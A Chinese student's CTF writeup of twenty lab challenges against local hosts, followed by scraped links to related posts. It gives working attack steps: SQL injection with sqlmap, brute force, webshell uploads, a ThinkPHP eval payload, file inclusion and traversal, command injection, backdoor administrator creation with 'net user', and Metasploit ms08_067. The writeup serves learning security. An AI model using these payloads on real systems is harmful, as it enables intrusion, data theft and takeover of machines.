0.写在前面

1.不合理的验证方式

2.加密与解密的对抗

3.一个SQL引发的血案

4.管理员的诟病

5.备份信息的泄露

6.svn信息泄露

7.coding

8.平衡权限的威胁

9.文件上传的突破

10.文件下载的利用

11.include的沦陷

12.include的沦陷(二)

13.exce的沦陷

14.ftp的逆袭

15.ftp的漏洞

16.幽灵的Remote Desktop

17.无法爆破的密码

18.IIS ghost

19.xampp

20.dangerous 445

0.写在前面

我做的免考包括哪些?

  • 参加2018年密码保密与信息安全大赛,获得红蓝对抗第二名,积分7800/8900

  • 完成20道CTF试题,并撰写Writeup

20道题,103张截图,终于这个免考项目还是完成了。

  • 为什么选择CTF作为自己的免考项目?

    拿到key的那一瞬间真的太刺激了,参加完信安大赛之后很怀念这种拿key的感觉。另外就是专业的原因,没有太多的机会去打CTF的比赛,希望能以这种方式让自己爽一把。

  • 做完20道题,截完103张图有什么感受?

    感受就是...拿key挺爽,写writeup挺累。但是写完writeup简直是对拿key过程的一个升华。回顾20道题会发现自己竟然学会了这么多东西,也会去找题目之间的共性,比如...好像有几个题目的靶机445没关(永恒之蓝还是好用)。再就是include、exec、ftp漏洞都是上课没有主要讲的,这20道题丰富了我的知识体系,特别是漏洞这块。

  • 一个学期的网络攻防学习终于结束了,想对老师说啥?

    希望能把信安大赛的那套红蓝对抗带到课堂上,还是挺有意思的。实践性比实验还要强。最后就是很感谢老师的指引,为啥不说指导呢,因为我觉得老师最重要的就是教会了我学习的态度,免考项目就是一个很好的例子,前路还长,一起加油吧。

1.不合理的验证方式

题目

一个web系统中管理员账户:admin中有一串key,页面只提供了试用账号密码:test  test ,我们需要登录进admin账户获取key来通过本关。

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用账号密码:test test登录。

3.使用Firefox的firebug插件查看cookies。发现只有user段,值为test。

4.将test修改为admin,再次访问页面,得到key:I am admin

Cookie:判断用户信息的凭据

存储在本地

Test用户登录产生的cookie信息:

2.加密与解密的对抗

题目

通过分析加密字符串获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.通过查看源码,查看2个超链接的地址:index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ=

index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3llYXIrbGltaXQrMCUyQzQ=

3.2个地址的Word参数是base64加密,将其解密。

4.解密后的字符串:SELECT+%2A+FROM+language+order+by+year+limit+0%2C4是url加密,再次解密:

5.解密结果是一个sql语句。构造新的语句:SELECT * FROM language order by year将其url加密。

6.将得到的字符串base64加密。

7.得到的加密串构造地址:http://192.168.102.62/index.php?word=U0VMRUNUKyorRlJPTStsYW5ndWFnZStvcmRlcitieSt5ZWFy

8.访问得到key:hello world。

3.一个SQL引发的血案

####题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.访问超链接:http://192.168.102.62/index.php?id=1通过修改id的值可以查看到相应排名的语言。

3.访问:http://192.168.102.62/index.php?id=1and1=1 返回正确内容。

4.http://192.168.102.62/index.php?id=1 and 1=2 返回错误内容。

5.通过上面可以判断存在注入。Kali下使用sqlmap获取数据库内容。

使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dbs 查看数据库。

6.使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dump -D “third” 获取数据库内容。得到key:I am sql inject

4.管理员的诟病

####题目

通过sql注入获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用kali下的wpscan扫描站点的用户。使用命令wpscan --url “http://192.168.102.62” -e u

3.将密码字典放在桌面。使用命令:wpscan --url “http://192.168.102.62” --username admin --wordlist /root/Desktop/password.txt

4.使用得到的账号密码登录。后台打开外观->编辑->首页模板。

5.粘贴上webshell 代码,保存,访问主页,密码为412587。

6.打开key.php,得到key:hi wordpress

5.备份信息的泄露

题目

通过备份文件获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用wwwscan,如图配置扫描

3.得到结果:

4.下载扫到的文件:192.168.102.62/www.zip。解压得到key:Dir fuzz

6.svn信息泄露

题目

通过svn备份获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.使用JSky扫描工具,扫描http://192.168.102.62

3.扫描得到svn的备份信息。访问http://192.168.102.62/.svn/entries

4.可知站点目录下只存在index.php文件。于是访问:http://192.168.102.62/.svn/text-base/index.php.svn-base查看到的就是php文件的源码。

5.得到key:Svn backup

7.coding

题目

通过代码执行漏洞入侵目标

解题过程

1.打开浏览器,访问http://192.168.102.62,发现时thinkphp 2.1版本

2.通过搜索引擎,得知此版本存在代码执行漏洞。Poc为index.php/module/action/param1/${@print(THINK_VERSION)}

3.根据poc,构造地址:http://192.168.102.62/index.php/module/action/param1/{${phpinfo()}}

4.1.证明存在漏洞。再构造:

http://192.168.102.62/index.php/module/action/param1/{${eval($_POST[s])}}使用菜刀连接,如图配置

i

5.浏览站点内容

6.得到key:thinkphp code execution

8.平衡权限的威胁

题目

通过未授权访问获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.查看源码,观察到超链接有一定规律

3.构造地址:192.168.102.62/index-2.html ,访问被限制

4.在主页打开firefox的插件firebug,切换到网络->html选项

5.在地址栏输入:http://192.168.102.62/index-2.html 并回车。从响应内容里得到key:Unauthorized Access

9.文件上传的突破

题目

突破上传限制

解题过程

1.打开浏览器,访问http://192.168.102.62

2.随便上传一个jpg文件,显示:

3.再上传一个txt文件,显示:

4.Kali下打开burpsuit,并如图设置代理监听为127.0.0.1:8080

5.打开浏览器设置http代理为127.0.0.1:8080

6.Burpsuit如图设置

7.点击上传,拦截到数据包

8.如图位置修改为image/jpeg ,点击forword

9.成功上传,得到key:Dangerous MIME

10.文件下载的利用

题目

文件下载漏洞的利用

解题过程

1.打开浏览器,访问http://192.168.102.62

2.文件可正常下载,访问http://192.168.102.62/images/Desert.jpg 可得到相同的图片

3.查看此文件下载地址为:http://192.168.102.62/index.php?file=Desert.jpg构造新地址:http://192.168.102.62/index.php?file=../index.php下载得到index.php文件,打开得到key: keep going

11.include的沦陷

题目

通过文件包含执行代码

解题过程

1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php出现报错

3.确定存在文件包含漏洞,且可能可以远程包含。由于测试机和服务器可以互访,所以本地搭建web环境,web根目录存放test.txt文件,内容为:

<?php

$f=fopen("index.php","r");

echo fread($f,filesize("index.php"));

fclose($f);

exit();

?>

4.接下来访问:http://192.168.102.62/index.php?lang=http://192.168.102.61/test.txt查看源码,得到key:Remote File Include

12.include的沦陷(二)

题目

通过文件包含获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php 出现报错

3.由此判断存在本地包含漏洞。构造地址:http://192.168.102.62/index.php?lang=../../boot.ini访问得到key:Local File Include

13.exce的沦陷

题目

使用命令执行获取权限

解题过程

1.打开浏览器,访问http://192.168.102.62

2.输入 127.0.0.1并提交

3.填写127.0.0.1 | ipconfig 提交

4.可知目标系统存在命令执行漏洞。执行:127.0.0.1 | type c:\key.txt 可以读取到c盘写key.txt的内容

14.ftp的逆袭

题目

通过ftp获取网站权限

解题过程

1.打开cmd,输入ftp 192.168.102.62 连接ftp服务器,发现提示用户名为:ftp

2.如图配置参数,线程限制在20,端口设置为21 :

3.点击字典,添加我们的爆破字典

4.点击扫描弱口令,选择扫描ftp弱口令

5.扫描出弱口令账号ftp,密码ftp,登陆上去,发现是web目录

6.连接ftp,上传webshell

7.浏览器访问192.168.102.62/php.php

8.点击web shell,添加用户,分别执行:

net user test test /add
net localgroup administrators test /add

9.远程连接服务器。用账号test 密码test 登陆

15.ftp的漏洞

题目

通过ftp漏洞获取网站权限

解题过程

1.打开终端,输入ftp 192.168.102.62 连接ftp服务器,发现ftp服务软件为Gabriel’s ftp server

2.通过搜索引擎,查找版本找到资料:http://www.exploit-db.com/exploits/27401/

3.下载攻击脚本27401.py放在桌面,修改为如下:

4.打开新终端并切换到桌面,执行python 27401.py

5.得到key:ftp bypass

16.幽灵的Remote Desktop

题目

通过远程桌面连接获取目标权限

解题过程

1.打开爆破工具,填入目标ip,选择3389端口,开始扫描

2.点击添加字典,添加想爆破的账号密码

3.点击扫描弱口令,选择扫描3389弱口令

4.最终得到弱口令:administrator 123456

5.远程登录192.168.102.63,使用账号administrator 密码123456

17.无法爆破的密码

题目

过远程桌面连接获取目标权限

解题过程

1.远程连接192.168.102.63

2.在此页面下连续敲击shift键,弹出别人留下的后门

3.在cmd执行

net user test test /add
net localgroup administrators test /add

4.使用账号密码test test 登陆

18.IIS ghost

题目

通过IIS漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62

2.因为iis + webdav环境可能存在iis put漏洞,所以我们使用IISPutScanner扫描。如图配置并扫描

3.扫到漏洞。使用iiswrite进行提权,写入asp木马到服务器。填写域名,再如图选择put。选择asp木马

4.点击提交数据包,成功上传

5.再如图选择move,点击提交数据包

6.成功后访问http://192.168.102.62/shell.asp,使用密码admin登陆

7.选择key.asp,点击编辑,得到key:put and write.

19.xampp

题目

通过xampp漏洞获取敏感信息

解题过程

1.打开浏览器,访问http://192.168.102.62,发现跳转到http://192.168.102.62/xampp/而且得知其版本为 1.7.3

2.通过搜索引擎,知道此版本存在一个漏洞可以读取目标主机上的文件http://www.exploit-db.com/exploits/15370/

3.通过poc,我们构造:http://192.168.102.62/xampp/showcode.php/c:boot.ini?showcode=1访问地址可以得到我们需要的key

20.dangerous 445

题目

通过系统远程溢出控制目标主机

解题过程

1.打开nessus,使用网络漏洞扫描,扫描主机192.168.102.62

2.查看扫描结果,发现存在漏洞,基于445端口,可远程溢出。使用ms08-67漏洞攻击

3.打开msfconsole,使用攻击模块Use exploit/windows/smb/ms08_067_netap,设置目标ip:set RHOST 192.168.102.62exploit

4.成功攻击后输入cat c:\key.txt 显示c盘下的key.txt文件,得到key:you win

20154312 曾林 ExpFinal CTF Writeup的更多相关文章

  1. 20154312 曾林 Exp3 免杀原理与实践

    20154312 曾林 0.写在前面 AV厂商检测恶意软件的方式主流的就三种: 基于特征码的检测 启发式恶意软件检测 基于行为的恶意软件检测 我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是 ...

  2. 20154312 曾林 EXP9 Web安全基础

    目录 -0.webgoat Could not find source file -1.基础问题回答 -2.环境配置 -3.Injection Flaws ----3.1.Numeric SQL In ...

  3. 20154312 曾林 Exp8 web基础

    1.基础问题回答 1.1.什么是表单 1.2.浏览器可以解析运行什么语言 1.3.WebServer支持哪些动态语言 2.实践总结与体会 3.实践过程记录 ----3.1.Web前端:HTML基础 - ...

  4. 20154312 曾林 EXP6 信息搜集与漏洞扫描

    目录 1.实验后回答问题 2.实验总结与体会 3.实践过程记录 --3.1.信息收集 ----3.1.1.whois查询 ----3.1.2.nslookup,dig查询 ----3.1.3.trac ...

  5. 20154312曾林 - Exp1 PC平台逆向破解

    1.逆向及Bof基础实践说明 1.1-实践目标 对象:pwn1(linux可执行文件) 目标:使程序执行另一个代码片段:getshell 内容: 手工修改可执行文件,改变程序执行流程,直接跳转到get ...

  6. 20154312 曾林 EXP7 网络欺诈防范

    目录 1.基础问题回答 ----1.1.通常在什么场景下容易受到DNS spoof攻击 ----1.2.在日常生活工作中如何防范以上两攻击方法 2.实践总结与体会 3.实践过程记录 ----3.1.简 ...

  7. 20154312 曾林 Exp5_MSF基础应用

    --目录-- MSF渗透测试-CVE-2017-11882 1.基础内容回答 2.实践过程记录 2.1.主动攻击实践-ms08_067 2.2.针对浏览器的攻击-ms10_046 2.3.针对客户端的 ...

  8. 20154312 曾林 Exp4恶意软件分析

    写在前面 如果把恶意软件比作罪犯的话,怎么看这次实验? 实验目的:以后能够在茫茫人海中找到罪犯. 实验过程:现在以及抓到了一个罪犯,把他放到茫茫人海里去,看看他和普通人有啥区别.这些区别就是罪犯的特征 ...

  9. 南邮CTF - Writeup

    南邮CTF攻防平台Writeup By:Mirror王宇阳 个人QQ欢迎交流:2821319009 技术水平有限~大佬勿喷 ^_^ Web题 签到题: 直接一梭哈-- md5 collision: 题 ...

随机推荐

  1. for,for-each,for-in,for-of,map的比较

    参考: 全面解析JavaScript里的循环方法之forEach,for-in,for-of Iterator 和 for...of 循环 JavaScript Array 对象 常规for for循 ...

  2. 【CF913F】Strongly Connected Tournament 概率神题

    [CF913F]Strongly Connected Tournament 题意:有n个人进行如下锦标赛: 1.所有人都和所有其他的人进行一场比赛,其中标号为i的人打赢标号为j的人(i<j)的概 ...

  3. [工具] 将Sublime Text 3配置为Java代码编辑器

    新建编译器选项 选择菜单栏中的 Tools ——> Build System ——> New Build System ,输入: { "cmd": ["jav ...

  4. html如何让label在div中的垂直方向居中显示?

    设置label的行高 line-height 和div的高度一致即可.

  5. 专访|HPE测试中心总监徐盛:测试新思维-DevOps,持续测试,更敏捷,更快速

    2016年7月22日,「HPE&msup软件技术开放日」将在上海浦东新区,张江高科技园区纳贤路799号科荣大厦小楼2楼举办,msup携手HPE揭秘全球测试中心背后的12条技术实践. 徐盛:HP ...

  6. codeforces 869A/B/C

    A. The Artful Expedient time limit per test 1 second memory limit per test 256 megabytes input stand ...

  7. 排序的本质是什么 冒泡排序 bubble sort

    import random def getRandomNums(min=4, max=20): n = random.randint(min, max) arr = [random.randint(1 ...

  8. 【python+opencv】直线检测+圆检测

     Python+OpenCV图像处理—— 直线检测 直线检测理论知识: 1.霍夫变换(Hough Transform) 霍夫变换是图像处理中从图像中识别几何形状的基本方法之一,应用很广泛,也有很多改进 ...

  9. 在scrapy中使用mongodb管道

    pipelines.py import json from scrapy.conf import settings from pymongo import MongoClient class SunP ...

  10. python中操作mysql

    import pymysql # 连接数据库 connect = pymysql.Connect( host='localhost', port=3306, user='root', passwd=' ...